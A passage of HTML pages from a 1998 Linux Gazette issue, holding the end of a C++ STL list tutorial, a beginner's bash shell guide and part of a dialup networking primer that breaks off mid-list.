You'll find this with STL. For various reasons the containers will
supply extra functions, where necessary for efficiency or where special
performance gains can be made by taking advantage of some special feature
of a container's structure.
<PRE>
/*
|| How to sort an STL list
*/
#include <string>
#include <list>
#include <algorithm>
#
PrintIt (string& StringToPrint) { cout << StringToPrint << endl;}
#
int main (void) {
list<string> Staff;
list<string>::iterator PeopleIterator;
#
Staff.push_back("John");
Staff.push_back("Bill");
Staff.push_back("Tony");
Staff.push_back("Fidel");
Staff.push_back("Nelson");
#
cout << "The unsorted list " << endl;
for_each(Staff.begin(), Staff.end(), PrintIt );
#
Staff.sort();
#
cout << "The sorted list " << endl;
for_each(Staff.begin(), Staff.end(), PrintIt);
}
</PRE>
The output is
<PRE>
The unsorted list
John
Bill
Tony
Fidel
Nelson
The sorted list
Bill
Fidel
John
Nelson
Tony
</PRE>
<P> <HR> <P>
<H4>Inserting elements in a list with the insert() list member function</H4>
<P>
The list member functions push_front() and push_back() add elements
to the front and back of a list respectively. You can also add an object
at any point in a list with insert().
<P>
insert() can add one object, a number of copies of an object, or a range of
objects. Here are some examples of inserting objects into a list.
<PRE>
/*
|| Using insert to insert elements into a list.
*/
#include <list>
#
int main (void) {
list<int> list1;
#
/*
|| Put integers 0 to 9 in the list
*/
for (int i = 0; i < 10; ++i) list1.push_back(i);
#
/*
|| Insert -1 using the insert member function
|| Our list will contain -1,0,1,2,3,4,5,6,7,8,9
*/
list1.insert(list1.begin(), -1);
#
/*
|| Insert an element at the end using insert
|| Our list will contain -1,0,1,2,3,4,5,6,7,8,9,10
*/
list1.insert(list1.end(), 10);
#
/*
|| Inserting a range from another container
|| Our list will contain -1,0,1,2,3,4,5,6,7,8,9,10,11,12
*/
int IntArray[2] = {11,12};
list1.insert(list1.end(), &IntArray[0], &IntArray[2]);
#
/*
|| As an exercise put the code in here to print the lists!
|| Hint: use PrintIt and accept an interger
*/
}
</PRE>
Note that the insert() function adds one or more elements at the position
of the iterator you specify. Your elements will appear in the list before
the element that was at the specified iterator position.
<P> <HR> <P>
<H4>List constructors</H4>
<P>
We have been defining a list like this.
<PRE>
list<int> Fred;
</PRE>
You can also define a list and initialise it's elements like this
<PRE>
// define a list of 10 elements and initialise them all to 0
list<int> Fred(10, 0);
// list now contains 0,0,0,0,0,0,0,0,0,0
</PRE>
Or you can define a list and initialise it with a range from another STL
container, which doesn't have to be a list, just a container with the
same value type.
<PRE>
vector<int> Harry;
Harry.push_back(1);
Harry.push_back(2);
#
// define a list and initialise it with the elements in Harry
list<int> Bill(Harry.begin(), Harry.end());
// Bill now contains 1,2
</PRE>
<P> <HR> <P>
<H4>Erasing elements from a list using list member functions</H4>
<P>
The list member function pop_front() removes the first element from a list.
pop_back() removes the last element. The member function erase() erases the
element pointed to by an iterator. There is another erase() function which
can erase a range of elements.
<PRE>
/*
|| Erasing objects from a list
*/
#include <list>
#
int main (void) {
list<int> list1; // define a list of integers
#
/*
|| Put some numbers in the list
|| It now contains 0,1,2,3,4,5,6,7,8,9
*/
for (int i = 0; i < 10; ++i) list1.push_back(i);
#
list1.pop_front(); // erase the first element 0
#
list1.pop_back(); // erase the last element 9
#
list1.erase(list1.begin()); // erase the first element (1) using an iterator
#
list1.erase(list1.begin(), list1.end()); // erase all the remaining elements
#
cout << "list contains " << list1.size() << " elements" << endl;
}
</PRE>
The output will be
<PRE>
list contains 0 elements
</PRE>
<P> <HR> <P>
<H4>Removing elements from a list using the list member function remove()</H4>
<P>
The list member function remove() erases objects from a list.
<PRE>
/*
|| Using the list member function remove to remove elements
*/
#include <string>
#include <list>
#include <algorithm>
#
PrintIt (const string& StringToPrint) {
cout << StringToPrint << endl;
}
#
int main (void) {
list<string> Birds;
#
Birds.push_back("cockatoo");
Birds.push_back("galah");
Birds.push_back("cockatoo");
Birds.push_back("rosella");
Birds.push_back("corella");
#
cout << "Original list with cockatoos" << endl;
for_each(Birds.begin(), Birds.end(), PrintIt);
#
Birds.remove("cockatoo");
#
cout << "Now no cockatoos" << endl;
for_each(Birds.begin(), Birds.end(), PrintIt);
}
</PRE>
The output will be
<PRE>
Original list with cockatoos
cockatoo
galah
cockatoo
rosella
corella
Now no cockatoos
galah
rosella
corella
</PRE>
<P> <HR> <P>
<H4>Removing elements from a list with the STL generic algorithm remove()</H4>
<P>
The generic algorithm remove() works in a different way to the list member
function remove(). The generic version does not change the size of the
container.
<PRE>
/*
|| Using the generic remove algorithm to remove list elements
*/
#include <string>
#include <list>
#include <algorithm>
#
PrintIt(string& AString) { cout << AString << endl; }
#
int main (void) {
list<string> Birds;
list<string>::iterator NewEnd;
#
Birds.push_back("cockatoo");
Birds.push_back("galah");
Birds.push_back("cockatoo");
Birds.push_back("rosella");
Birds.push_back("king parrot");
#
cout << "Original list" << endl;
for_each(Birds.begin(), Birds.end(), PrintIt);
#
NewEnd = remove(Birds.begin(), Birds.end(), "cockatoo");
#
cout << endl << "List according to new past the end iterator" << endl;
for_each(Birds.begin(), NewEnd, PrintIt);
#
cout << endl << "Original list now. Care required!" << endl;
for_each(Birds.begin(), Birds.end(), PrintIt);
}
</PRE>
The output will be
<PRE>
Original list
cockatoo
galah
cockatoo
rosella
king parrot
<BR>
List according to new past the end iterator
galah
rosella
king parrot
<BR>
Original list now. Care required!
galah
rosella
king parrot
rosella
king parrot
</PRE>
The generic remove() algorithm returns an iterator specifying a new end to the
list. The range from the beginning to the new end (not including the new end)
contains the elements left after the remove. You can then erase the range from
the new end to the old end using the list member function erase.
<P> <HR> <P>
<H4>Partitioning a list with the STL generic algorithm stable_partition()
and using the list member function splice()</H4>
<P>
We will finish off with a slightly more complicated example. It demonstrates
the STL generic stable_partition() algorithm and one variation of the
list member function splice(). Notice the use of function objects, and
the absence of loops. Control passes through a series of simple statements,
which are calls to STL algorithms.
<P>
stable_partition() is an interesting function. It rearranges elements so that
those which satify a certain condition come before those which do not. It
preserves the relative order of the two groups of elements. An example
will make this clear.
<P>
Splice splices the elements of another list into the list. It removes
the elements from the source list.
<P>
In this example we want to accept some flags and four filenames from the
command line. The filenames must appear in order. By using
stable_partition() we can accept the flags at any position relative
to the filenames and get them together without disturbing the order of
the filename parameters.
<P>
Due to the readily available counting and finding algorithms we can call these
algorithms as necessary to determine which flag was set rather than setting
other flags in our program. I find containers are very convenient for
managing small amounts of variable dynamic data like this.
<PRE>
/*
|| Using the STL stable_partition algorithm
|| Takes any number of flags on the command line and
|| four filenames in order.
*/
#include <string>
#include <list>
#include <algorithm>
#
PrintIt ( string& AString ) { cout << AString << endl; }
#
class IsAFlag {
public:
bool operator () (string& PossibleFlag) {
return PossibleFlag.substr(0,1)=="-";
}
};
#
class IsAFileName {
public:
bool operator () (string& StringToCheck) {
return !IsAFlag()(StringToCheck);
}
};
#
class IsHelpFlag {
public:
bool operator () (string& PossibleHelpFlag) {
return PossibleHelpFlag=="-h";
}
};
#
int main (int argc, char *argv[]) {
#
list<string> CmdLineParameters; // the command line parameters
list<string>::iterator StartOfFiles; // start of filenames
list<string> Flags; // list of flags
list<string> FileNames; // list of filenames
#
for (int i = 0; i < argc; ++i) CmdLineParameters.push_back(argv[i]);
#
CmdLineParameters.pop_front(); // we don't want the program name
#
// make sure we have the four mandatory file names
int NumberOfFiles(0);
count_if(CmdLineParameters.begin(), CmdLineParameters.end(),
IsAFileName(), NumberOfFiles);
#
cout << "The "
<< (NumberOfFiles == 4 ? "correct " : "wrong ")
<< "number ("
<< NumberOfFiles
<< ") of file names were specified" << endl;
#
// move any flags to the beginning
StartOfFiles =
stable_partition(CmdLineParameters.begin(), CmdLineParameters.end(),
IsAFlag());
#
cout << "Command line parameters after stable partition" << endl;
for_each(CmdLineParameters.begin(), CmdLineParameters.end(), PrintIt);
#
// Splice any flags from the original CmdLineParameters list into Flags list.
Flags.splice(Flags.begin(), CmdLineParameters,
CmdLineParameters.begin(), StartOfFiles);
#
if (!Flags.empty()) {
cout << "Flags specified were:" << endl;
for_each(Flags.begin(), Flags.end(), PrintIt);
}
else {
cout << "No flags were specified" << endl;
}
#
// parameters list now contains only filenames. Splice them into FileNames list.
FileNames.splice(FileNames.begin(), CmdLineParameters,
CmdLineParameters.begin(), CmdLineParameters.end());
#
if (!FileNames.empty()) {
cout << "Files specified (in order) were:" << endl;
for_each(FileNames.begin(), FileNames.end(), PrintIt);
}
else {
cout << "No files were specified" << endl;
}
#
// check if the help flag was specified
if (find_if(Flags.begin(), Flags.end(), IsHelpFlag())!=Flags.end()) {
cout << "The help flag was specified" << endl;
}
#
// open the files and do whatever you do
#
}
</PRE>
Given this command line:
<PRE>
test17 -w linux -o is -w great
</PRE>
the output is
<PRE>
The wrong number (3) of file names were specified
Command line parameters after stable partition
-w
-o
-w
linux
is
great
Flags specified were:
-w
-o
-w
Files specified (in order) were:
linux
is
great
</PRE>
<P> <HR> <P>
<H4>Conclusion</H4>
<P>
We have only touched on the things you can do with a list. We haven't even
got to the point of storing a user defined class of object, although thats
not hard.
<P>
If you understand the concepts behind the algorithms presented here you
should have no trouble using the rest. The important thing with STL is
to get the basics right.
<P>
The key to STL is really the iterator. STL algorithms take iterators
as parameters. They take iterator ranges, sometimes one range, sometimes two.
STL containers provide the iterators. Thats why we say list<int>::iterator,
or list<char>::iterator, or list<string>::iterator.
<P>
Iterators have a well defined heirarchy. They have varying "powers".
Some iterators provide read only access to a container, some write only.
Some can only iterate forwards, some are bidirectional. Some iterators
provide random access to a container.
<P>
STL algorithms require a certain "power" of iterator. If the container
doesnt provide an iterator of that power, the algorithm will not compile.
For example, the list container only provides bidirectional iterators.
The generic sort() algorithm requires random access iterators. Thats why
we need the special list member function sort().
<P>
To really use STL properly you will need to carefully study the various
kinds of iterators. You need to see just what kinds of iterators are
provided by what containers. You then need to see what type of iterators
the algorithms require. You need, of course to understand what kinds of
iterators you can have.
<P> <HR> <P>
<H4>Using STL in the field</H4>
<P>
During the past year I have written a number of commercial C++ programs
using STL. It reduced my effort and almost eliminated logic errors in
all cases.
<P>
The largest program is about 5000 lines. Probably the most striking thing
about it is its speed. It reads and extensively processes a 1-2 Mb
transaction file in about twenty seconds. It was developed with GCC
2.7.2 on Linux and now runs on a HP-UX machine. It uses over 50 function
objects and many containers ranging in size from small lists to a map with
over 14,000 elements.
<P>
The function objects in the program are in a hierarchy where top level
function objects call lower level ones. I used the STL
algorithms for_each(), find(), find_if(), count() and count_if() extensively.
I reduced nearly all of the internals of the program to STL algorithm calls.
<P>
STL tended to automatically organise my code into distinct control and
support sections. By carefully crafting function objects and giving them
meaningful names I managed to move them out of sight and concentrate on
the flow of control in my software.
<P>
There is much more to know about STL programming and I hope you have enjoyed
working through these examples.
<P>
The two books in the bibliography both have active errata pages on the web
so you can keep them right up to date.
<P>
Stroustrup has an advice section at the back of each chapter which is
excellent, especially for beginners and the whole book is in a much more
conversational style than the earlier editions. It is also much larger.
There are of course quite a few other books on STL in the bookshops.
Have a look and see what you can find.
<P>
<H4>Bibliography</H4>
The STL Tutorial and Reference Guide, David Musser and Atul Saini.
Addison Wesley 1996.
<P>
The C++ Programming Language 3e, Bjarne Stroustrup.
Addison Wesley 1997.
<!--===================================================================-->
<P> <hr> <P>
<center><H5>Copyright © 1998, Scott Field <BR>
Published in Issue 34 of <i>Linux Gazette</i>, November 1998</H5></center>
<!--===================================================================-->
<P> <hr> <P>
<A HREF="./lg_toc34.html"><IMG ALIGN=BOTTOM SRC="../gx/indexnew.gif"
ALT="[ TABLE OF CONTENTS ]"></A>
<A HREF="../lg_frontpage.html"><IMG ALIGN=BOTTOM SRC="../gx/homenew.gif"
ALT="[ FRONT PAGE ]"></A>
<A HREF="./nw_burger.html"><IMG SRC="../gx/back2.gif"
ALT=" Back "></A>
<A HREF="./anderson.html"><IMG SRC="../gx/fwd.gif" ALT=" Next "></A>
<P> <hr> <P>
<H4>
"Linux Gazette...<I>making Linux just a little more fun!</I>"
</H4>
<P> <HR> <P>
<!--===================================================================-->
<center>
<H1><font color="maroon">Linux Basics</font></H1>
<H4>By <a href="mailto:paul@geeky1.ebtech.net">Paul Anderson</a></H4>
</center>
<P> <HR> <P>
I was reading through the Linux Gazette Mailbag column, and noticed a number
of requests for basic info about Linux and the use thereof. In this doc,
I'll cover the basics of logging in, using the shell, and even some rudamentry
shell scripting and various useful utilities. I won't, however, cover
the use of X Windows, as that can be a whole subject unto itself.
Also, I will only be able to cover the Debian distribution as I don't have
RedHat or S.u.S.E or other distributions around here.
<P>
Before I begin, I would like to make one point:
Linux is <i>much</i> more powerful than any Microsoft product, and with that
greater power comes the responsibility to learn how to use it properly.
This is to be expected, and is much less than painful than many make it
out to be.
<br>
<hr>
<h2>Logging In</h2>
<br>So, you've got Linux installed on your system and you're just about to
begin using it. You're presented with a screen looking like this:
<pre>
Debian GNU Linux 1.3 geeky1 tty1
geeky1 login:
</pre>
You probably created a personal account for yourself, and we'll use that.
In these examples, the account is paul, password password.
Now, at the login prompt type in your username, in our example, paul.
The screen will now look like this:
<pre>
Debian GNU Linux 1.3 geeky1 tty3
geeky1 login: paul
Password:
</pre>
Now, watch your fingers while you type in the password - it won't be
echoed for security reasons, and watching your fingers will help
you keep from making a mistake.
The system will now display the contents of /etc/motd, and run the
file .bash_profile in your home directory if you're using the bash
shell(most distributions default to using bash).
<br>
<hr>
<br><h2>Using The Shell</h2>
The shell is kind of like DOS's command.com, but MUCH more powerful.
The first command we're going to use is the touch command. All it does
is either create an empty file, or update the last modified date on
an already existing file. The shell prompt will probably look like
a dollar sign. First, we want to make a directory to hold our work.
At the prompt, type:
<pre>
mkdir foo
</pre>
Now, we want to use the ls command, which is the equivalent of DOS's
dir command. While I'm at it, if you want more info on using any command
listed here, type:
<br>
man <i>command</i>
<br>
Where <i>command</i> is the command you want more information on.
man is short for manual page. Type ls, and it will list foo.
Now, type:
<pre>
cd foo
</pre>
Okay, you're now in the foo directory. Oh dear, a bit confusing isn't it?
The current directory isn't displayed on the prompt. Let's fix it.
The environment variable PS1 holds the specification for the prompt.
Type:
<pre>
export PS1="\`pwd\`:\`whoami\`:\$ "
</pre>
And you'll notice you're prompt has changed! Let me explain... export
is used in bash to make the variable so that it is carried to other shells
you run - if you don't export the variable, and run a program, the program
won't know about the variable. It's good practice to use export whenever
you set an evironment variable. Next, you'll notice \`pwd\`.
What's with this \` stuff, you ask? In bash, the backslash is used
to 'escape' a character - keep the shell from processing it.
Why the backquote? In a shell, it's used to tell the shell to replace the
stuff inside the backquotes with what's printed on the screen by the program
that's inside them. For example, type:
<pre>
echo f`pwd`f
</pre>
The system will print:
<pre>
f/home/paulf
</pre>
The shell evaluated the backquotes, and replaced the text inside them with
the output of the pwd program. Now, if we hadn't escaped the backquotes -
the shell would evaluate them when it shouldn't and the current directory
portion of the prompt would always stay the same.
Now, in bash, ~ refers to your home directory. Go ahead, type:
<pre>
echo ~
</pre>
You'll get something like:
<pre>
/home/paul
</pre>
So, we say that the directory foo you just created is in the path ~/foo
Now, I want you to type:
<pre>
touch bork
</pre>
And then type ls again. Wala! You've just created an empty file!
Now, do it again, except this time creating three files - foo.txt, bork.txt
and bar.txt. In DOS, if you wanted to change the extension of all these to
.html, you'd have to do it by hand, right? Linux, however, is much more
powerful. Type:
<pre>
for i in `ls`; do mv $i `basename $i .txt`.html; done
</pre>
And do an ls again. They've all changed extension to .html!
You've actually done some shell programming. You've written what's
called a for loop(for obvious reasons). For every instance reported by
ls, the environment variable $i is set to the entry, and the stuff after
do is run. Right now would be a good time to use man to learn about
the basename command. It strips off the specified extension(in this
case, .txt) and returns the value of $i sans the extension. The
backquotes make certain that the shell ends up seeing it as:
<pre>
mv foo.txt foo.html
</pre>
Amazing, eh?
<P>
This brings to an end our basic intro to the shell. Next, I hope to write
an intro to emacs and writing shell scripts.
<P>
<i>-- Paul Anderson, paul@geeky1.ebtech.net </i>
<!--===================================================================-->
<P> <hr> <P>
<center><H5>Copyright © 1998, Paul Anderson <BR>
Published in Issue 34 of <i>Linux Gazette</i>, November 1998</H5></center>
<!--===================================================================-->
<P> <hr> <P>
<A HREF="./lg_toc34.html"><IMG ALIGN=BOTTOM SRC="../gx/indexnew.gif"
ALT="[ TABLE OF CONTENTS ]"></A>
<A HREF="../lg_frontpage.html"><IMG ALIGN=BOTTOM SRC="../gx/homenew.gif"
ALT="[ FRONT PAGE ]"></A>
<A HREF="./field.html"><IMG SRC="../gx/back2.gif"
ALT=" Back "></A>
<A HREF="./jenkins3.html"><IMG SRC="../gx/fwd.gif" ALT=" Next "></A>
<P> <hr> <P>
<H4>
"Linux Gazette...<I>making Linux just a little more fun!</I>"
</H4>
<P> <HR> <P>
<!--===================================================================-->
<center>
<H1><font color="maroon">Linux Installation Primer, Part Three</font></H1>
<H4>By <a href="mailto:rjenkins@unicom.net">Ron Jenkins</a></H4>
</center>
<P> <HR> <P>
<P> </P>
</B></FONT><FONT SIZE=2><P>Copyright ® 1998 by Ron Jenkins. This work is provided on an "as is" basis. The author provides no warranty whatsoever, either express or implied, regarding the work, including warranties with respect to its merchantability or fitness for any particular purpose. </P>
<P> </P>
<P>The author welcomes corrections and suggestions. He can be reached by electronic mail at </FONT><A HREF="mailto:rjenkins@unicom.net"><FONT SIZE=2>rjenkins@unicom.net</FONT></A><FONT SIZE=2>, or at his personal homepage: http://home.unicom.net/~rjenkins/</P>
<P> </P>
</FONT><B><P>Part Three: Network and Dialup Networking configuration</P>
</B><FONT SIZE=2><P>Well, here we are ready to start part three of the series, setting up basic networking functions, and connecting your Linux machine to the outside world. As with each installment of this series, there will be some operations required by each distribution that may or may not be different in another. I will diverge from the generalized information when necessary, as always.</P>
<P> </P>
<P>In this installment, I will cover the following topics:</P>
<P> </P>
<OL>
<LI>Networking fundamentals.</LI>
<LI>Preparing for the networking configuration.</LI>
<LI>Configuring the loopback adapter.</LI>
<LI>Configuring basic networking.</LI>
<LI>Connecting to your Internet Service Provider.</LI>
<LI>Configuring the Domain Name Service to function on a dialup connection.</LI>
<LI>Configuring Sendmail to function on a dialup connection.</LI>
<LI>Testing and troubleshooting your basic and dialup configuration.</LI>
<LI>Some quick and dirty "cheats" if all else fails.</LI>
<LI>Stupid Network Tricks.</LI>
<LI>Resources for further information. </LI>
<LI>About the Author.</LI></OL>
<P> </P>
</FONT><B><P>Networking fundamentals.</P>
</B><FONT SIZE=2><P>I won't bore you with all the nasty details of the history of the Internet, how it came to be, etc. However, some basic understanding of how networking in general, and Transmission Control Protocol/Internet Protocol (TCP/IP) is necessary to maximize your effective use of a network, and by extension, the Internet.</P>
<P> </P>
<P>At its most fundamental level, all networks require at least three things to function:</P>
<P> </P>
<OL>
<LI>An interface to pass the data packets to and from the computer.</LI>
<LI>A physical connection of some sort to pass the data from one place to another.</LI>
<LI>And finally a mutually agreed upon format to convey that data, using a common method, or language, usually called a protocol.</LI></OL>
<P> </P>
<P>Just as a person who speaks only French will have a great deal of difficulty communicating with a person who speaks only English, (no matter how loud or slowly each one of you talks,) so too will two dissimilar networks be unable to communicate without a common language or protocol.</P>
<P> </P>
<P>Grossly oversimplified, in the context of the Internet, this language is TCP/IP. (Yes, I know, it really happens through a series of functions based loosely on the OSI model, but for the purposes of this document, let us agree that TCP/IP is the language of choice.)</P>
<P> </P>
<P>TCP/IP is based on numerical addresses, called IP addresses. I'm sure you have all seen something like xxx.xxx.xxx.xxx, where x is equivalent to some numerical value. A practical example would be 204.252.102.2, one the Domain Name Servers or DNS (more on this later) at an ISP here in town.</P>
<P> </P>
<P>"But wait a minute, I don't type stuff like that, I type the ubiquitous dub dub dub dot foobar dot com thingy, (www.foorbar.com) and it works just dandy. What's up with this number stuff?"</P>
<P> </P>
<P>Ah, grasshopper, this is where DNS comes in to play.</P>
<P> </P>
<P>Through an interconnected system of servers, the DNS system functions much like an upside down pyramid.</P>
<P> </P>
<P>Starting with your local DNS, which knows only about the machines on your local network, and how to talk to a machine higher up the totem pole if it gets confused, all the way up to the widest part of the pyramid, which contains the information for all the various master or "root" domains such as .com, .net, .edu, or .org. A huge and constantly changing database of all machine connect to the Internet is organized, collated, and sorted 24 hours a day.</P>
<P> </P>
<P>Again, grossly oversimplified, residing on the DNS servers, in the form of something called "Zone files", each machines local to the relevant local network has two entries - an IP address and a hostname. In this article your machine's hostname will be tester, and your domain will be foober.net (this will need to be replaced with information gathered from your Internet Service Provider, as explained later.) This is called address resolution, and explains how the dub dub dub deal works.</P>
<P> </P>
<P>Whenever a request goes out, these dandy little machines translate the hostname you have requested into an IP address if it is on your local network, or pass it on up the line if it is not. Pretty neat huh?</P>
<P> </P>
<P>For the purposes of this document, the three components of your networking setup will consist of the following:</P>
<P> </P>
<OL>
<LI>The network interface in your case will be a thing known as the loopback adapter.</LI>
<LI>The physical connection will be your phone line.</LI>
<LI>The protocol you will use will be TCP/IP in one of two configurations, depending on your Internet Service Provider (ISP.)</LI></OL>
<P> </P>
</FONT><P><B>Preparing for the networking configuration.</B></P>
<OL>
<FONT SIZE=2><LI>Some information for you if you do not already have an ISP.</LI>
<LI>Some information for you if you already do have an ISP.</LI>
<LI>General information required in either scenario.</LI></OL>
<P> </P>
<P><B>Some information for you if you do not already have an ISP.</B></P>
<P>As long as we are at this, and with the proliferation of every Tom, Dick, and Harry starting "The Ultimate Internet Service Provider," I provide the following things to consider when choosing an ISP:</P>
<P> </P>
<P>I will present these considerations in question form, with explanations where necessary. These things are VERY important to know if you want to maximize your effectiveness on the Internet.</P>
<P> </P>
<P>Initially, you will probably be connected to a salesman when you contact a prospective ISP. Ask to talk to a tech, or have one conference in to the call. Otherwise, the salesman may promise you anything to get you connected. The tech will be able to answer the following questions effectively. If the salesman or the tech refuse to do any of the above, or hem and haw around about any of these questions, thank them for their time and move on. This is not an ISP you want. So hang on to your modem, here we go:</P>
<P> </P>
<UL>
<LI>What type of access do you offer? Unlimited access or metered access (AKA *plans). Unlimited is good; it is one flat rate for as much time as you want. Metered, *.plans are bad. These plans usually come with so many *free* hours per month, then an additional charge per minute or hour you exceed this base. This stinks, and makes the Information Superhighway a toll road. </LI>
<LI>Do you offer Unix shell access to my account? This tells you two things - is the answer is yes, you are probably connecting to a Unix machine. This is good. If not, you are probably on an NT machine, or your ISP chooses not to offer shell access. This is bad. If you have shell and telnet access to your account, you can do many neat things with it see "stupid network tricks" farther along. </LI>
<LI>What type and speed is your backbone connection or connections to the Internet? Many smaller ISP's have only a T-1 (1.534 MBPS of user bandwidth,) or even worse, something called a Fractional T-1 which may range anywhere between 64 KBPS up to the full 1.5 in 64 KBPS increments. They then, through the use of term servers let many end-users like you connect to a single network feed and share it. This is bad. What is better is a connection called a T-3. This runs at 45 MBPS and should be considered the minimum connection that you are willing to accept. If your prospective ISP does not have at least a T-3, bail and find one who does. </LI>
<LI>What is your user to modem ratio? This is a fancy way of saying how many physical connection devices do you have, compared to how many users your network supports? Nowadays, any more than 4:1 is unacceptable. One modem for every four users. </LI>
<LI>Considering your backbone connection, how many to you have, and how many providers do they go through? At a minimum, any good ISP should have a T-3, connected to one backbone provider and multiple (at least 2) T-1's each connected to a separate backbone provider. Consider this - if you only have one ISP and they go down, you're off the Internet until they get it fixed. If you have two accounts with two different providers, and one goes down, you switch to the other. Same rule holds true for them. </LI>
<LI>What kind of machines are they using, and what operating system do they run? If you hear the word NT in their response, run away screaming. Specifically ask if they are using Unix hosts and whether or not they offer telnet, shell, and ftp access to your personal account. If the answer is no, look elsewhere. </LI>
<LI>What access authentication protocol do you use? Acceptable protocols are clear-text, PAP, and CHAP. Unacceptable protocols are RADIUS, KERBEROS (can be done but you will need help), GUARDIAN, or MS-CHAP. These protocols cause a lot of extra trouble and configuration complexity, which you don't really need, unless you work for the NSA or something. Security is a relative term, and for the average end user, super-whiz bang-triple encryption one off pad algorithms shouldn't be necessary. </LI>
<LI>Ask specifically how much web space and personal storage you are allocated for your personal account. It should be at least 10 MB. More is better. </LI>
<LI>Finally, ask specifically if they support Unix clients in general, and Linux clients in particular. You can live with it if they say Lin Who, but if they don't support Unix clients, they are probably an NT shop. Run-Away.</LI></UL>
<P> </P>
<B><P>Some information for you if you already have an ISP.</P>
</B><P>You should be okay, at least at the basic functionality level, if you have already been connected successfully to your present ISP. However, if you have been connecting using only Windows machines, you may or may not have problems with connecting the Linux box. See the NOTE, and SPECIAL NOTE below regarding NT specific issues.</P>
<P> </P>
<B><P>General Information required in either scenario.</P>
</B><P>Before you do anything, you will need to acquire the following information from your ISP:</P>
<UL>
<LI>The number you dial to access the service. </LI>
<LI>Your username and password on your ISP account. </LI>
<LI>What type of authentication scheme your ISP uses. Some possible options are Clear Text, Password Authentication Protocol (PAP,) and Challenge Handshake Authentication Protocol (CHAP.) </LI>
<LI>Whether your ISP uses static or dynamic address allocation. Static address allocation means you have the same IP address every time (this is better for you,) while Dynamic Address Allocation assigns you a different IP address every time from a pool of IP's set aside just for this purpose (this is better for them.) </LI>
<LI>What the IP address of the default gateway is on your ISP's network. </LI>
<LI>What the IP address of their primary and secondary DNS servers are. </LI>
<LI>The technical support phone number for your ISP, and the hours it is active in case you run into problems.</LI></UL>
<P> </P>
<B><P>NOTE</B>: Each ISP has it's own idiosyncrasies and procedures for accessing their service. What I will be accomplishing in this document is simply to get you physically logged in and connected to the ISP. There may or may not be additional steps required by your particular service to attain full functionality.</P>
<P> </P>
<B><P>SPECIAL NOTE</B>: Many ISP's unwisely, in my opinion, relay on NT architecture for remote access. This adds additional steps to your configuration, many proprietary to Microsoft and otherwise unnecessary. If your ISP is one of these shops, try to get a tech on the line while you are doing the configuration. If they are unwilling or unable to support Unix and Linux machines, get one who will. The ease of the configuration will be worth it, as well as having "shell" access to your ISP's network with which you can do all sorts of neat things, covered in the "stupid network tricks" section later.</P>
<P> </P>
<P>Even so, look at my "cheat" section for some ideas and workarounds if your ISP is unwilling or unable to support your Linux box.</P>
</FONT><B><P>Configuring the loopback adapter.</P>
</B><FONT SIZE=2><P>The loopback adapter is necessary for the networking connection to function. Oversimplified, each network connection, or "interface" in UNIX parlance must be "bound" to a physical, as well as a logical adapter. The loopback adapter performs this function in the absence of an actual interface to the network, such as a Network Interface Card, or NIC.</P>
<P> </P>
<P>We will use the loopback adapter both for testing and to "bind" the network connection to your ISP to, thus making your modem the network interface.</P>
<P> </P>
<P>Slackware 3.5:</P>
<P>This should be done for you during the installation. If not, from the command line, type netcfg <return>, and when prompted choose 127.0.0.1 for your network interface.</P>
<P> </P>
<P>RedHat 5.1:</P>
<P>Again, this should have been taken care during the installation procedure. If not, start X and choose the options Control Panel/Network Configuration, then at the bottom of the dialog box, choose Add and follow the prompts.</P>
<P> </P>
</FONT><B><P>Configuring basic networking.</P>
</B><FONT SIZE=2><P>Slackware 3.5:</P>
<P>Basic network configuration is accomplished through either directly editing the configuration files them selves, through the use of the netconfig utility, or some combination of both of these methods.</P>
<P>RedHat 5.1:</P>
<P>Most of your network configuration can be accomplished through the aforementioned Control Panel/Network Configuration method, or using the linuxconf utility available on newer RedHat systems. You will find this utility under Start/Programs/Administration/Linuxconf.</P>
<P> </P>
<P>Basically, you just need to cd to /etc/hosts, and choose a hostname and domain for your machine. I think its default is darkstar or something in Slackware, and localhost in RedHat. The important point to remember here is not to choose a hostname that is already on the Internet, and use your ISP's domain name for yours. So, if your ISP is psi.net:</P>
<P> </P>
<P>darkstar.psi.net</P>
<P> </P>
<P>At a minimum, if you are not connected to a LAN, and will only be dialing up to your ISP, the only entry required in your etc hosts file is your loopback adapter.</P>
</FONT><B><P> </P>
<P>Connecting to your Internet Service Provider.</P>
</B><FONT SIZE=2><P>Slackware 3.5:</P>
<P>If you have followed my instructions previously, and chose the proper ISP, get him on the line and have him walk you through the configuration process, as it will be unique to each ISP.</P>
<P> </P>
<P>If not, read on for some general pointers.</P>
<P>The symlink to /dev/modem should have already been created during installation, if not create it.</P>
<P>To begin with, you will have to connect manually using minicom to see just what your ISP requires.</P>
<P> </P>
<P>minicom <return></P>
<P> </P>
<P>After it get done griping about not running as root, enter the configuration menu by depressing the Alt+z keys, then choose the proper configuration options. When finished, exit and save your changes as the default when prompted.</P>
<P> </P>
<P>You should now see an O.K. prompt in the terminal window. If not, go back and check your configuration.</P>
<P> </P>
<P>Now let's dial your ISP:</P>
<P> </P>
<P>ATDTyourispaccessnumber</P>
<P> </P>
<P>For instance:</P>
<P> </P>
<P>ATDT 3659968 <return></P>
<P> </P>
<P>If all goes well, you should be presented with a login prompt. Enter your ISP assigned username and press the return key. Next you should be prompted for your password. Enter your ISP assigned password.</P>
<P> </P>
<P>At this point, if all has gone well, you should start to see a bunch of garbage scroll across your screen. This is a good thing. This is the ppp daemon on the other end trying to connect to your machine.</P>
<P> </P>
<P>To talk to it, we will first have to close minicom WITHOUT resetting the modem. Next we will have to start our own ppp daemon. I happen to stink at typing, so I made a little script to initiate the pppd connection:</P>
<P> </P>
<P>vi unicom.connect <return></P>
<P> </P>
<P>pppd /dev/modem (or as I prefer /dev/cua1 for COM2,) crtscts defaultroute</P>
<P> </P>
<P>now let's exit and save the file:</P>
<P> </P>
<P>press the escape Esc key to enter the command mode, the depress Shift + : then wq <return> to write and quit the file.</P>
<P> </P>
<P>Now, let's make the file executable (like a .EXE file in DOS,) by issuing the following command:</P>
<P> </P>
<P>chmod +x filename (unicom.connect in this example.)</P>
<P> </P>
<P>Okay! Now we are ready to go. At some point while we were doing all this minicom should have crapped out. If not depress Alt + Z and this time DO reset the modem.</P>
<P> </P>
<P>Here we go:</P>
<P> </P>
<OL>
<LI>Start minicom.</LI>
<LI>Dial your ISP.</LI>
<LI>Enter your login when prompted.</LI>
<LI>Enter your password when prompted.</LI>
<LI>As soon as the garbage starts, depress Alt+z, then q to quit without resetting the modem.</LI>
<LI>As soon as the command prompt comes back, run your connect script. In this example unicom.connect.</LI>
